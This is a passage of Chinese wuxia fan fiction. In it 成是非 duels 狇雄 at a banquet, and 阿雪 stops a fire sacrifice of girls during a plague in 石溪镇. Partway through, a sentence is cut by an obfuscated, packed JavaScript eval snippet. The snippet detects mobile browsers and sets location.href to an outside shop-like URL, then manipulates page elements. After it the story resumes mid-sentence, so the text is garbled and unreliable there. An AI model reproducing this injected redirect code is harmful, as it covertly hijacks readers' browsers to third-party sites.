成是非以内家真气发声,高亢响亮,犹如钟鼓之声,回荡在大堂之内,震得众人耳膜嗡鸣,哪里还敢喧闹?但有一人全然不惧,就是狇府二王爷狇雄。 “这位,想必是护民山庄黄字第一号密探,郡马成是非大人?” “正是成大侠我!” “难怪,入赘作了朱家的女婿,自然要帮着朱家说话。” 此话一出,一众土司皆不约而同地哈哈大笑。 “你们笑什么?” “郡马爷莫怪!滇南化外之地,蛮夷子民,不懂中原礼教,更不识天子威严。依郡马所说,改土归流乃是圣上旨意,我等自然不敢不遵从,但是百姓愚昧,不能理解圣上苦心,如果强硬推行,只怕难以服众。” “那你想怎么样?” “既然这里是苗疆,就按苗人的规矩来。苗人尚武,凡有冲突不能调和,都是比武决斗定对错。听说护民山庄大内密探武功了得,成郡马还是不败顽童古三通的传人,不知能否讨教几招?” “切,说那么多,不就是想打架吗?怕你不成!” 说罢,成是非飞身一掌打去。成是非一见这位狇雄王爷身强体壮,腰佩宝刀,即知他也是个练家子。成是非意欲速战速决,先给这些土司一个下马威,但他毕竟顾忌狇雄的身份,所以这一掌只施五成功力,饶是如此,仍然掌携呼呼风声。岂料狇雄全然不躲,放声大笑,其笑声洪亮,震得堂内梁柱微微颤动。成是非心中一惊,他在古三通写在自己身上的武功秘籍中见过这一门武功,乃少林绝技之一“狮子吼”,是内功高深之人以真气发声,摄敌心魄,与成是非方才以真气发声震慑土司原理相同。发声之人内功深浅不同,效果也不尽相同,成是非继承古三通四十年的功力,自然不惧,但狇雄的笑声能令成是非心头一震,可见修为之深当属一流高手。成是非未免暗暗吃惊,而正是趁着这一瞬间的惊疑,狇雄从容应对,右手抬臂一格,接下成是非一掌,同时左拳横扫,直冲成是非面门。成是非后跃躲闪,拳风扫过面门,触体如炙,成是非大吃一惊,还未等他调整态势,狇雄如影随形,飞扑而上。 成是非原以为今日来的土司不过是些一方恶霸,不足为惧,却没想到会遇见这样一位高手。成是非出掌,狇雄出拳,二人对攻缠斗,转眼已过百招,狇雄不但力大无穷,而且招招凶狠,直冲要害,再加上他以铁腕护手,成是非毕竟内伤未愈,无法施展全力,每每与狇雄铁拳相碰,震得他连骨头都在作痛。 眼见形势不妙,成是非心里直犯嘀咕,自打到了滇南老是吃瘪,自己又几次夸下海口,再输下去,他这威龙大侠都要名声扫地。眼下,成是非被一记重拳逼至桌边,却灵机一动,抓起一根木筷,大喝: “武当太极剑法——” 成是非以木筷为剑,难以发挥剑法威力,不过好在太极剑讲求以柔化刚,正好对付狇雄刚猛拳法。只见成是非剑法轻灵,脚踏八卦方位,绕着狇雄四周游走,每每铁拳袭来,他就借力化力,木筷反指狇雄周身要穴。眼看就要形势逆转,成是非见好就收,打算刺中狇雄麻穴即算取胜,却不想狇雄突然拔出腰间宝刀,直朝成是非劈了下去。 这是一柄大刀,刀长将近五尺,刀身通体漆黑无光,奇重无比,可狇雄抓在手中,却似毫不费力,舞得呼呼作响,一刀快过一刀。成是非眼见大刀迎面斫下,侧身一闪,岂料狇雄刀法不仅刚猛迅疾,更是精妙,临阵变招,忽地拦腰截来。成是非只能使出一招“铁板桥”身法躲闪,刀锋贴着他的胸膛扫过,刚猛刀气撕碎他的胸衣,周遭桌上碗碟杯筷像是被一阵旋风吸起,忽地飞到半空中,又摔落地,碎得一地狼藉。 “喂!你玩真的啊?” 狇雄不顾成是非的责问,连施狠招,步步紧逼,封住成是非的退路。成是非背靠木柱,四面刀气纵横,眼看狇雄又是一刀劈下,成是非避无可避,索性举筷横挡。狇雄似乎也有所顾忌,只用刀背攻击,成是非这才想着以内力硬拼。成是非运足全身内力凝聚木筷,却不想狇雄一击竟是如此力大,加之成是非内伤未愈,直震得他右臂发麻,手中木筷化为齑粉。 眼见成是非失去武器,狇雄还不收手,他双手一翻,刀锋向前,又一横扫,直逼成是非颈间。 “二叔!”一声惊呼,生生止住狇雄攻势。只见原本在一旁默不作声的黔国公府世子狇清已然站起身来。 “二叔,收手吧!今日只是赴宴,不必见血,而且,如果事情闹大,只怕……教主会不高兴。” 最后一句话似乎点中要处,狇雄眼中几番闪烁,最终收刀归鞘。 “哼,大内密探,古三通传人,今日得见,还真不过如此!” 丢下一句话,狇雄一甩长袍,转身离去。 “今日多有得罪,狇清先代二叔赔个不是,他日必定携礼登门致歉!告辞!” 说罢,狇清也率众人相继离去。 一场筵席,就这样不欢而散。 深夜内堂,成是非被人抓着右手胳膊,疼得哇哇乱叫,而此刻黑着脸给他揉药酒的正是云萝郡主。 “你说说你是不是没用!这才来滇南几天,吃了几次败仗?老婆婆打不过,女人也打不过,现在还输在一个土司手下。” “我又没输,只不过……嘶——是平手!” “你少来,你当我今天没看到啊!要不是那个狇清小王爷及时出面,你脑袋早就搬家啦!” “是啊!郡马爷,今日郡主躲在堂后,看得心惊胆战,就算郡马爷不为自己着想,也该替郡主和小侯爷小郡主想想啊!” 经小奴这么一说,成是非也知道今日自己行事鲁莽,转头看见云萝红红的眼角,不经心中一热,左手轻轻地拍了拍云萝的手。 “郡主其实不必如此担心,郡马毕竟是皇亲,滇南土司就算再嚣张,也不敢伤害郡马。” “游大人今日可是看出什么?” “看出不少,原本以为此次改土归流,要应对麻烦不少,不过今日一看,值得留心的不过两人。” “是谁?” “一位是狇雄王爷,一位便是狇清世子,其余的不足为惧。” “不足为惧?可我看那些土司嚣张跋扈,完全不把大明天威放在眼里……” “哎呀,郡主老婆你这就不懂了!就是这种人才好对付,就像是在赌场里,一看有人穿金戴银、嚣张跋扈的样子,就知道这肯定是个好宰的冤大头,因为只有傻子才让人看穿他在想什么。” “就你懂得多!”云萝一个白眼,下手再一用力,疼得成是非只咧嘴,“既然简单干嘛不抓起来?被人戏弄,还放人走?” “今日之宴只做试探之用,既然知道那些人存有异心,与其各个击破,不如一举歼之。只是对付大小土司不难,难的是……” “还是黔国公府?” “不错!现如今,狇英王爷年老病重。狇雄王爷虽无承袭爵位,却是滇南五万守军一军统帅,战力不可小觑。他本人武功极高,号称滇南第一勇士,腰间宝刀乃是玄铁精刚所铸,重达六十五斤。老实说,郡马今日未出全力便能与狇雄王爷战成平手,的确是武功盖世!” “你看吧,我就说……”成是非正打算顺着游赋得的夸赞吹嘘一番,碰上云萝一记白眼,只能乖乖闭嘴。 爱之深、责之切,云萝是怕成是非得意忘形又出意外,这一点成是非自然明白,在一旁的游赋得和小奴也看得出来,只是心领神会,不说而已。 “至于那狇清世子,今日倒看得不很分明,他一言未发,不知是何态度。而且,除去黔国公府,还有一个麻烦,那便是南教。” “怎么又扯到南教啊?” “历来施政,最重民心。滇南苗汉杂居,风土人情本就与中原不同,而南教创教百年,势力庞大,教徒逾万,且多为苗人百姓,若南教有意煽动民心,只怕横生变故。而且……” “而且什么?” “我所打探到的也只是传闻而已。”游赋得有些尴尬地清了清嗓子,“我听说南教与狇王府颇有渊源,狇老王爷的正妻,也就是狇清世子的母亲早逝之后,狇老王爷未曾续弦,听说其中原因……就是因为南教教主花白凤。只是现下狇老王爷病重在床,听说她又和狇二王爷……” 说起南教,成是非云萝二人又想起十数日前的遭遇。那日,虽是成是非轻敌,却不得不承认南教中人的确武功高强,光是一位老婆婆就逼得成是非使出金刚不坏神功,而那位教主不仅功力胜过成是非,还懂得金刚不坏神功破解之法,若是他日对敌,成是非胜算甚微。想到这里,云萝一颗心又悬了起来。 三人正自思量之时,突然一名侍卫前来禀报,说是距此西南二百里的石溪镇突发瘟疫,有民众暴动之势。 “石溪镇是什么地方?” “近年来滇南与中原商贸兴盛,朝廷为了便利商旅往来,修筑大小官道,连通滇南各地,石溪镇就坐落于南北官道枢纽,因此商贸繁荣,许多中原汉商定居在那儿,与当地苗人通婚,因此风俗杂糅,情况复杂。此时发生瘟疫暴乱,实在太过巧合……” 游赋得面色沉重,思量一番,转身吩咐侍卫: “你先下去点齐兵丁,明日一早随本官赶往石溪镇。” “那我也去准备。” “坐下!”成是非正打算起身,却被云萝大力按着肩膀,又坐回椅子上。 “好老婆……” “我明天陪你一起去!” “啊?” “我——说——我陪你一起去石溪镇!”眼见成是非张着嘴吃惊模样,云萝心里一阵好笑,面上却还是装着黑脸,“你一定觉得我是担心危险,不让你去,对吧?别瞧不起人,我是那种胆小如鼠、成天只会扯丈夫后退的小妇人吗?” “可……你跟我去,孩子们怎么办?” “孩子们都大了,交给保姆带两天不成问题。再说了,你不是一直怪我太宠孩子,才让他们迟迟无法戒奶吗?正好趁着这个机会……也该让他们习惯独立。我可不是紧张你,只是改土归流事关大明江山,我是大明郡主,自然要出一份力。而且,你这人毛毛躁躁,还有伤在身,不看着你能行吗?” “哎呀,我就知道我的好老婆最大度,最善解人意啦!” “少油嘴滑舌,小心内伤又发作!” “怎么会?有老婆你这么体贴我,这点小伤早就好了!而且你真的不用担心,我前两天接到飞鸽传书,一刀说他也要到滇南。” “一刀要来啊!” “是啊!而且应该是这两天就该到了。到时候,让他去对付那个用刀的。有天下第一刀在,还怕他什么狇雄狗熊的?” “你别成天想着把责任推给别人!一刀这次来,或许还是散心,也不知道他这一年来过得怎么样?” “哎呀,不怕不怕!到时候,我亲自带着他逛遍这滇南大小美景,我看南街上那家秀香楼就不错,先带他……” “秀香楼是什么地方啊?该不会是新开的青楼吧?” “哎呦,老婆饶命,你听我说,秀香楼不是青楼,是酒楼,真的……” 眼见原本正经论事的情景不知怎的变为看似夫妻吵架、实则甜蜜恩爱的气氛,游赋得尴尬地赶紧闪人。原本一路从京城结伴而来,游赋得见云萝郡主脾气刁蛮,猜想这对夫妻关系必不和睦,现在一看,反倒是恩爱非常。身处此景,游赋得不禁想起他远在家乡的妻儿,但妻儿的面容仅在他脑海中一闪而过,他收敛思绪,又回到书房处理公文。 再说另一边。 宣慰司一宴虽然不欢而散,但短时间内,滇南并无动荡,百姓们耕樵渔读,照常生活。就好比玉龙山下的采药郎阿凉,今日距离他救下名叫“归海一刀”的溺水女子,已过十日,正是约定好的赶集日。 原本约定由阿凉去石溪镇打听消息,但这两日那女子恢复神速,很快能下床走动,到今日已然身体无恙,便要求一起跟去。 只见,“归海一刀”换上阿凉给她的崭新的苗家男子衣衫,将长发扎成高高的马尾,再背上药篓,俨然一位俊朗的苗家少年。 “怎么了?” “哦……没什么!” 阿凉见她干净利落的打扮,除去柳眉凤眼、白皙皮肤,倒真与一般男子无异。 “之前看姑娘貌美,没想到……扮作男子也是英俊呢!” 对此,她只是不以为然地耸耸肩。她也奇怪,怎么自己扮男装如此熟练,感觉像是从小习惯一样。 二人趁着凌晨微亮的天光出发,阿凉带着她跋山涉水。原以为,汉家女子缠足,必然脚程极慢,没想到,这位“归海一刀”没有一丝娇贵做派,反而健步如飞。阿凉不禁调笑道: “看来,你也很适合做我们苗家的姑娘!” 二人就这样仅靠脚程翻越一座大山,临近晌午到达石溪镇。 在进入石溪镇之前,阿凉一路在说石溪镇如何繁华兴旺,说是这里有许多汉族商人定居,开设店铺,又有本地苗民往来贸易,汉苗通婚,风俗混杂,算是一大特色。 阿凉先带她来到镇外一家水果铺子,说要买水果,却碰上老板紧赶着要关门,好说歹说,才给了两个梨。阿凉拿着其中一个仔细擦了又擦,才递给她。 “给你,阿雪!” “啊?你叫我什么?” “阿雪!这是我帮你取的名字。因为‘归海一刀’这个名字实在太奇怪,我叫不习惯。我是在雪川边上救的你,你那时又穿着白衣,所以就叫你阿雪,你不会生气吧?” “不会,你喜欢这么叫就叫吧!” 名字不过称谓而已,她不会计较,况且眼下记忆混乱,无法确定“归海一刀”是自己的真名。可当“归海一刀”四字说出口时,她感到一股奇怪的目光。转头一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292470|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,才发现水果铺的老板正透过门缝、目不转睛地盯着自己。 “老板为何这样看我?你是认识归海一刀吗?还是在哪儿听过……” 话未问完,却听老板“砰”地一声关上店门。 “好了,你别问他。这个石老板在石溪镇住了快十年,从没见他说过话,都不知道是不是哑巴。我们去别的地方问吧!” 阿凉又带着阿雪走进镇里。二人沿着主街结伴行走,只见街道宽阔平整,两侧房屋错落有致,的确该是美丽繁华的城镇。但奇怪的是明明临近正午,街道两侧店铺皆是大门紧锁,街上全无人烟,只剩落叶萧萧。二人商量着先去药铺卖药,再打探消息。可没想一连找了几家药铺,都是紧闭大门。 “阿雪,你别着急啊!我现在带你去找镇长,我和镇长很熟,他经常找我买药材,镇长夫人还是我同村的婶婶呢!” 转过街角,看见一间稍微宽阔的院落,此时也正准备关门,阿凉赶紧跑上去。 “哎哎哎,镇长别关门啊!我是阿凉,你上次不是说要些三七、胡莲吗?我采了好多来,你看!” 阿凉连忙抖搂背上的药篓,却见镇长一声不吭,不耐烦地挥手赶他走。就在此时,门后传来一阵女子的哭声,阿凉伸着脖子往里一看,一位妇人正坐在庭院的台阶上哭泣。 “阿玉婶婶,你怎么哭了?”见此情景,阿凉也不生分,丢下药篓,直走进去安慰妇人,“小玉呢?她去哪儿了?” 此话一出,妇人哭得更加伤心,就连镇长也不禁落泪。 “这里到底出了什么事?”此时,阿雪也走上前来,开口询问,“我听说这石溪镇是商旅要道,理应人丁兴旺,可一路走来,街道萧条,门店紧锁,这里可是出了什么变故?能否告知?” “小玉……小玉被抓走了!” 一番询问之下,这才知道原来十天以前,石溪镇上突发瘟疫,十几人寒热发作倒下,几日下来,互相传染,患者已达上百人。石溪镇汉苗杂居,几乎所有医馆药铺都由汉人开设,坐堂大夫也是汉人。疫病突发,短时间内无医治良方。周边土司害怕疫病传染,皆派兵封锁要道,许进不许出,却又没有任何帮助支援。眼看数百人将要困死,几天前,有一位南教巫师带着大队人马赶来,巫师宣称瘟疫乃是天灾,是汉人进入滇南、冲撞山神引起的天罚。巫师先责骂汉人医术不精,治病不力,将镇上所有大夫抓了起来,随后又称要献上十名十岁到十五岁之间的汉人少女,进行火祭才能平息山神愤怒。 “所以他们就把小玉抓了?可不对啊,你是苗人,小玉也不算是汉人。” “镇上的人早已被疫病吓怕,哪里还管这么多?”镇长颓然坐在门槛上,抱头痛哭:“他们说我爹……说小玉的爷爷是汉人,只要有汉人的血脉就不可饶恕。” “笑话!石溪镇有三成的人口是汉人,剩下的也基本是汉苗血脉混杂,真要这么算下来,谁能干净?” “或许,这就是他们的目的。”阿雪在一旁沉思道,“滇南地域广阔,石溪镇是汉人聚集最多的地方之一。石溪镇发生瘟疫,说是汉人引起的天罚,又用汉人少女献祭,此事一旦传出去,势必引起他处汉苗冲突。再者,如若献祭之后,瘟疫还不能平息,便会抓更多的人,时间一长,必定引起暴乱。” “可……他们为什么要这么做?这样有什么好处?” “不知道,可瘟疫爆发,不去救治,反而把大夫抓起来,官府不管不问,任由巫师妖言惑众,背后定有缘由。我看这场瘟疫来得蹊跷。” “缘由又怎样?蹊跷又如何?今日正午就要举行火祭,已经来不及……” 阿雪听了心中一紧,急忙问出火祭将在镇中心广场举行,匆匆赶到。只见广场空地之上,搭起一座高台,台下四周,乌压压的人群跪倒一片。高台四角布满鲜红的凤仙花枝,中央架起高高的柴火,台上一位巫师身穿大红袍子,面涂五彩油漆,头戴孔雀羽冠,一手执火把,一手执葫芦,他先从葫芦汲水,喷洒四处,又绕着柴火闭着眼念念有词,在他身边则是九名被双手反绑、泣不成声的少女。 而此时,又有一名少女被绑来。少女被一群大汉裹挟、拖着向前走,她的父母则在后面哭喊追赶。 “求求你们放过她吧!她才九岁,她还没到年龄!” 少女父亲跪倒在地,单手捧起一把碎银子,乞求他们放过自己女儿。可惜,为首的大汉只是冷笑一声,一把抢过银子,又将父亲踢倒在地,拽着少女的头发往台上拖。少女一路挣扎,却没有用,反而换来重重的一巴掌。 眼见自己女儿受此欺负,这位父亲颤抖着从地上爬起,一改懦弱哀求,目露凶光,仅剩的一只左手凝成手刀…… 但是没等他出手,横空飞来的一粒石子击中为首大汉,直打得他翻倒在地,捂着手哇哇乱叫。没等众人反应过来,一道蓝色身影飞身上台,长发一甩,扫得剩余几名大汉跌落下台 “你是什么人?” “喜欢多管闲事的人!”阿雪一手护着少女,面对气势汹汹的巫师,毫无畏惧,眼中充满不屑和愤怒。 此举一出,台下一片哗然。 “毛头小子,敢管南教闲事,你不要命了吗?” “管你什么南教魔教!这里是大明疆土,竟敢妖言惑众,不要命的是你!” 话不投机,巫师挥手召来手下,将阿雪团团围住,一齐扑上。巫师原以为拿下一个年轻小子轻而易举,哪知阿雪像是会武一样,只见她脚步灵活,身如飞燕,穿梭在几名大汉之间,她没有武器,随手摘下一枝凤仙花,拂去枝上花朵,作为短剑,推挡挑刺,那几名围攻她的汉子看着人高马大,却不想被她的树枝在身上一戳,立即瘫倒在地。 南教巫师眼见数名手下都被打倒,急忙指挥手下后退。 “快放箭!” 此话一出,阿雪心中一紧,眼下她站在高台中央,身边是几名被绑的少女,如果暗器从四面八方打来,她只能自保,而这些少女必定受伤。 危急之刻,阿雪忽然看见满地散落的花瓣,只觉得脑海中灵光一闪,像是本能反应驱使一般,手中树枝向地上一划,荡起无数花瓣,她双手在空中连抓,手法之快犹如观音千手,无数花瓣被她尽收掌中,随即双手一扬,发出漫天花雨。 众人看得莫名其妙,只见花雨纷飞,洋洋洒洒,岂料每一片花瓣都暗藏劲力,击中敌人四肢关节,将他们打倒在地,有几片花瓣甚至如同利箭一般牢牢钉在木架之上。 “漫天花雨撒金钱!” 突然,台下人群之中传来一声惊叹,这声惊叹十分细微,恐怕在他身边之人都无法听见,但阿雪却能听得一清二楚,她惊诧地向台下望去,发现一对目光同样惊诧地望着她。 “魔鬼!这是魔鬼!” 巫师眼见武力不行,转变方式,装模作样地跪倒在地,浑身颤抖向天空拜祭。 “这是瘟疫化身的魔鬼,她来阻止我们向山神大人献祭,她想让石溪镇坠入地狱,永不超生!” 一番演技粗糙的挑拨,却对被瘟疫折磨、时刻恐惧的灾民十分有效。台下人们群情激动,纷纷捡起地上石子向阿雪投掷。这些石子虽然威力不大,但一齐扔来却让人应接不暇,无奈,阿雪只好一手护着身后少女,一手勉强抵挡。 “够了!”眼见人群情绪越发激动,突然一声呼喊打断人群的叫嚣,众人纷纷回头去看,只见阿凉正搀着镇长走来。 镇长在阿凉搀扶下颤颤悠悠地走上高台,面对台下一双双愤怒、不满、疑惑的眼神,不由得心慌,但想起自己被抓走的女儿,最终咽了咽唾沫,鼓起勇气道: “大家先冷静地听我说。瘟疫发生乃是天灾,没人愿意遭此劫难。可如果仅仅因为对瘟疫恐惧,便慌不择医,选择少女火祭,实在……” “你是因为你的女儿是祭品才这样说的吧?” “瘟疫是汉人带来的,镇长也是汉人,一个外人没资格说话!” 人群之中的一两句挑拨,将好不容易平复的情绪再次引爆,因为瘟疫而造成的恐慌、迷茫等等负面情绪就像堆积的火药,一点就着。 “我说够了!”阿凉再一次大喊,试图平复众人情绪,“都说是汉人带来的瘟疫,可是大家仔细想一想,大家脚下的土地,这座石溪镇不就是由中原汉商出资建造的吗?如果这些年来没有中原商贸,石溪镇会有今天的繁荣吗?你们说镇长是外人,没错,镇长的父亲是汉人,他有汉人血脉,可是谁不是呢?这座石溪镇上,有哪家哪户能说自己、自己的家人没有一丁点汉人血脉?镇长管理石溪镇几十年,哪一件事不是为了大家尽心尽力?还有小玉,大家是看着小玉长大,难道眼睁睁看着小玉被烧死,你们就心安吗?” “我……我们也不想这样做,可是如果不献祭,瘟疫如何平息?难道要大家眼睁睁等死?” “那请问谁能保证献祭之后一定能够平息瘟疫?”阿雪上前一步说道:“如果此次献祭之后,还不能平息瘟疫,是否要抓更多的人?十人?二十人?一百人?何时能够了结?难道要将全镇的人都烧死才罢休?” “胡言乱语!”巫师正欲狡辩,却又忌惮阿雪武功,只能缩在一旁,怒道,“我乃南教巫师,是教主钦点来此拯救众人,我说祭祀能成就一定能成?” “是吗?那敢问巫师,这石溪镇是从几天前开始出现病症?第一位病人是谁?是何症状?脉象如何?你来石溪镇上这些天,可有患者康复?发病人数可有减少?你若真是神通广大,怎会连我一个人都收拾不了?” “一派胡言!简直一派胡言!”一连串质问让巫师无法回答,只能咬牙切齿地咒骂。 就在此时,原本被反绑在台上的九名少女,其中一名突然倒地,开始剧烈咳嗽,并不停抽搐。阿雪见状,赶紧过去为她解开绳索,手覆上少女额头。 “发烧了!” “是瘟疫!又有人发病了!” 此言一出,台下顿时炸开了锅,巫师见状,也远远躲到一旁。 阿雪一探少女脉搏,发现少女脉象鼓噪之下,却是气血虚行,一股乱流冲撞心肺经脉之间,这才扰得她咳喘不止。阿雪先点她的梁关穴,止住抽搐,又点天突、膻中二穴,以真气输入,平复心肺乱流。很快,少女咳喘平息。 “大家看到了,祭品身染疫病,巫师毫无察觉,更束手无策,大家还敢相信巫师所说只要献祭就能平息疫情的鬼话吗?巫师,你说要午时祭祀,现在已过午时,祭品又染上疫病,请问你要把这样的祭品献给山神吗?” “那……那这么说你有办法了?你能平息瘟疫,能够拯救石溪镇?” “我……我当然可以,只要给我时间!” “凭什么相信你这个外人?” “她不是外人!她……”阿凉心虚地看了一眼阿雪,又看着台下黑压压的人群,最终鼓起勇气,道:“她是我的妻子!” “你说是就是,你当众人是瞎的吗?他明明是……” “不错,我是他的妻子!”阿雪一把摘下头上发带,三千青丝如瀑布般倾泄而下,“我姓归海,我也是汉人!请大家给我一天时间,明日午时之前,我一定找出疫病原因和救治方法!如果做不到,我甘愿充当祭品,任由处置!” 7. 秉烛话旧事 比武试英雄 自今日正午大闹祭台之后,已过去几个时辰。阿雪当众夸下海口,要在一天之内找到瘟疫病因与医治之法,否则就任由南教巫师处置。此举虽然侠义勇敢,但所要承受的风险实在太大。阿凉不免为她担心,劝道: “你真要管这闲事吗?” “这怎么能是闲事呢?”阿雪开口反驳,转头却对上阿凉担忧的眼神,于是沉了沉气,正色道:“我知道自己不是石溪镇的居民,但既然我遇见这不平之事,就没有袖手旁观之理。更何况,我看到那些女孩儿如此受人欺凌,我就……” 阿雪回想祭台上那些少女颤抖哭泣的模样,还有那一个个满脸横肉的大汉,忽觉一阵恶心,脑海中闪过一些画面,有几名凶恶大汉在翻找什么,一名少女躺在人堆之中,紧闭双眼,耳边嗡嗡苍蝇轰鸣……想到这里,阿雪只觉得头疼欲裂。 “你没事吧?” “没事……总之,这件事情我管定了!你如果害怕的话……” “你这叫什么话?你一个女孩子都有这样侠义心肠,难道要我做缩头乌龟?”阿凉愤愤说道,眼神中却无不是敬佩与欣赏,“况且,我自小来往石溪镇,镇上居民我都认识,这里算是我半个家乡,刚才我也说……” 说到这里,阿凉顿了顿,不禁有几分心虚。 “我说……你是……我的……” 眼见阿凉这样吞吞吐吐,阿雪低眉一想,立时了然。 “我知道,你说我是你的妻子。没事,我不介意。” “真的?” “没办法,我毕竟是外人,如果不扮作你的妻子,大家怎么会相信我?” 阿雪的笑容爽朗洒脱,完全不见一丝扭捏。这让阿凉心底生出一丝缥缈的希望,最终忍不住开口问道: “那你……不找你的家人?” “自然是要找的!不过,怎么也得等眼下的事情了结,如果真是我的家人,我想他们也一定会支持我这样做。” 短短几句话,又让阿凉的心沉回谷底。他整理情绪,努力摆脱纷乱沮丧的念头。眼下,他只想全力帮助眼前的女孩儿。 “你打算下一步怎么做?” “瘟疫救治不是三言两语能够说清。刚才,我在祭台上救治发病女孩时,探了她的脉搏,有几点疑惑,现下还要找到更多的病例求证,最好能够找到本地医师,听一听他们的诊治意见。” “光这一点就难办!刚才你大闹祭台,还打了南教的人。南教在滇南势力庞大,人人敬畏,你一下把事情闹大,大家都怕惹祸上身。” 这话说得不错。一个下午的时间,二人在镇上四处寻人打探消息,可所到之处,家家门户紧锁,避之唯恐不及。现下日暮黄昏,二人连落脚之处都没找到,只能靠在镇口一棵大树下发呆。 阿凉见阿雪神色疲惫,暗暗心疼,解下腰间的干粮袋正要递给她,却不料反被她捉住手。 感受到掌间传来的温热触感,阿凉不由得心神一荡,接着就被阿雪拖进一条窄巷。阿凉这才发觉不对,回头一看,只见不知从何处冒出数条人影,尾随而来。 “这是……” “别出声,快跟我走!” 阿雪拉着阿凉在窄巷中左拐右绕,但那些人影始终尾随不放,再加上阿雪不熟地形,好不容易一个拐角刚刚甩开,下一个拐角人影又冒了出来。眼看着脚步声越来越近,阿凉的心也越跳越快,忽然听到阿雪在耳边低声说道: “抓紧了!” 阿凉还未反应过来,只觉腰间一紧,心头一热,随即仿佛腾云驾雾一般,他竟被阿雪抱着跃上围墙。阿雪揽着阿凉的腰,踏瓦无声,转瞬间落到了另一条窄巷之中。 二人身体紧贴墙壁,屏气听声,终于听见在一阵嘈杂之后,脚步声渐渐远去。 危机已过,阿凉这才松了口气,开口问道: “这些人是……” “应该是南教巫师的手下。他害怕我找到救治瘟疫的方法,但是光天化日又不能公开为难于我,眼看就要天黑了,终于忍不住下手!” 话至此处,阿雪陷入沉思。历来神棍蒙骗世人,所图无非钱财而已,可这位巫师一到石溪镇,不叫百姓上供金银珠宝,反而捉拿汉人少女火祭,即是存心挑拨是非、引起恐慌。还有南教巫师出现时机如此巧妙,说明他早就知道石溪镇会爆发瘟疫,再加上他派人阻挠自己寻找救治瘟疫的方法,可见这场瘟疫来源一定与他脱不了干系。而这位巫师自称来自南教,说明幕后主使是南教,可南教是滇南第一大帮,历来受苗人尊崇,这么做是为了什么? 正当阿雪百思不得其解之时,背后忽然传来一阵窸窣声响,她心中一惊,本能地回身一掌扫去。 “等等!” 阿凉一声呼喊,阿雪也意识到不对,及时撤力,手腕一翻,最终一掌打在身旁的石墙上,印下一道掌印。 “镇长?” 听阿凉这么一说,阿雪才认出来人正是镇长。只见他在黑暗中做了一个噤声手势,招手示意让他们跟过来。 “怎么办?” “没办法,先跟过去看看。” 二人跟随镇长着沿巷道几番曲折之后,终于摸到一所宅院的后门。镇长环顾四周,发现确无他人之后,开门领二人进入。 “这是我父亲留下的老宅,平时少有人来,二位若是不嫌弃,请在寒舍歇脚。” 二人被带进一间小厅,厅内空间不大,但灯火明亮。厅内有四人,一位妇人独自坐在一把太师椅上,剩余三人似是一家三口,正紧挨着围坐在圆桌旁。 “阿玉婶婶,石老板?” 阿凉惊讶地发现那一家是镇外水果铺子石老板一家三口,也是今日正午祭台下挽救女儿的那对父母,而此时坐在桌前的女孩儿正是阿雪今日大闹祭台救下。 他们一见阿雪,皆不约而同地跪倒在地。 “石诚一家今日多谢姑娘救命之恩!多谢镇长收留之恩!” “不必行此大礼,快快请起!” 阿雪赶忙去扶,“今日我不过是好管闲事而已。再说……” 阿雪想起今日正午的种种细节,不禁深深望了石老板一眼。 “或许,不用我出手,小姑娘也不会有事?” “归海姑娘过谦了!” “请姑娘大发慈悲,救救小玉!”此时,镇长夫人也已跪在阿雪身边。 “姑娘莫要见怪!”镇长一面扶起夫人,一面致歉,眼中却带着泪花,“我夫妻二人年迈,膝下仅有一女,眼下石溪镇瘟疫横行,女儿又被捉去献祭,我既是镇长,又是父亲,却无能为力。今日眼见姑娘本事,绝非凡人,这才恳求姑娘出手,救救石溪镇!” “若是如此,我恐怕无能为力。” 此话一出,镇长大惊问道: “姑娘今日不是说……” “我今日的确夸下海口,但仅承诺找到医治瘟疫之法,并未说过救人。” 言及此处,阿雪顿了顿,神色冷然,纵使她有侠义心肠,却也不想作有勇无谋、白白送死之人。 “救治病情容易,医治人心却难。说到底,我一个外人能有多大分量?镇长既知有愧,为何不担起责任?为何任由自己的女儿被人捉走?” “阿雪……” “姑娘教训的是……”镇长神色愧然道,“其实石溪镇上汉人血脉甚多,南教巫师污蔑汉人是疫病来源,大家本就不满,只是眼下被疫病吓昏了头,南教巫师又有兵马,这才不敢反抗……” 话说出口,镇长似乎也已下定决心,他攥紧拳头,抬头直视阿雪眼神。 “我明白姑娘意思,我会挨家挨户说服镇民,若是姑娘真能找到医治瘟疫之法,我必然担起镇长责任,与石溪镇共渡难关。” “如此,我定竭尽全力,尽己所能!” 阿雪双手抱拳,摇曳烛火之下,阿凉眼见这位汉家女子原本洒脱爽朗的眼中此时又多几分坚毅。 “不知姑娘下一步打算?” “我今日再台上为病人诊脉,发现些许疑点,眼下想要求证,请问镇上疫病患者收治在哪里?” “镇上所有疫病患者都统一收治在莲生药堂。莲生药堂是石溪镇最大的药堂,但是眼下药堂内并无大夫,患者也未得到任何医治。五天前,南教巫师到来,派人将镇上所有医师大夫捉了起来,关押在镇上粮仓。那里日日有人把守,姑娘若想探查,最好要等夜深了再去。我先去准备些饭菜,晚饭之后稍事休息,再做打算吧!” “如此,便多谢镇长!” 很快,饭菜做好端了上来。几人简单吃完晚饭,商量一番,决定石老板一家睡在侧厢房,阿雪、阿凉各自一间厢房休息,相约子时再一起返回镇上查探。 吹灭烛火,阿雪躺在床上,却久久无法合眼。今日发生事情太多,她仍无法消化。且不说石溪镇突如其来的瘟疫和自己夸下海口、现下毫无头绪的医治方法,单想起今日在台上,自己因为一时冲动出手救人,面对袭来的敌人,竟能毫无畏惧地从容应对,甚至下意识地使出不知名的武功,还有救治病人的医术。眼下阿雪丝毫想不起自己身份与过往际遇,却能记得这些本事,还有…… “归海一刀……归海一刀……” 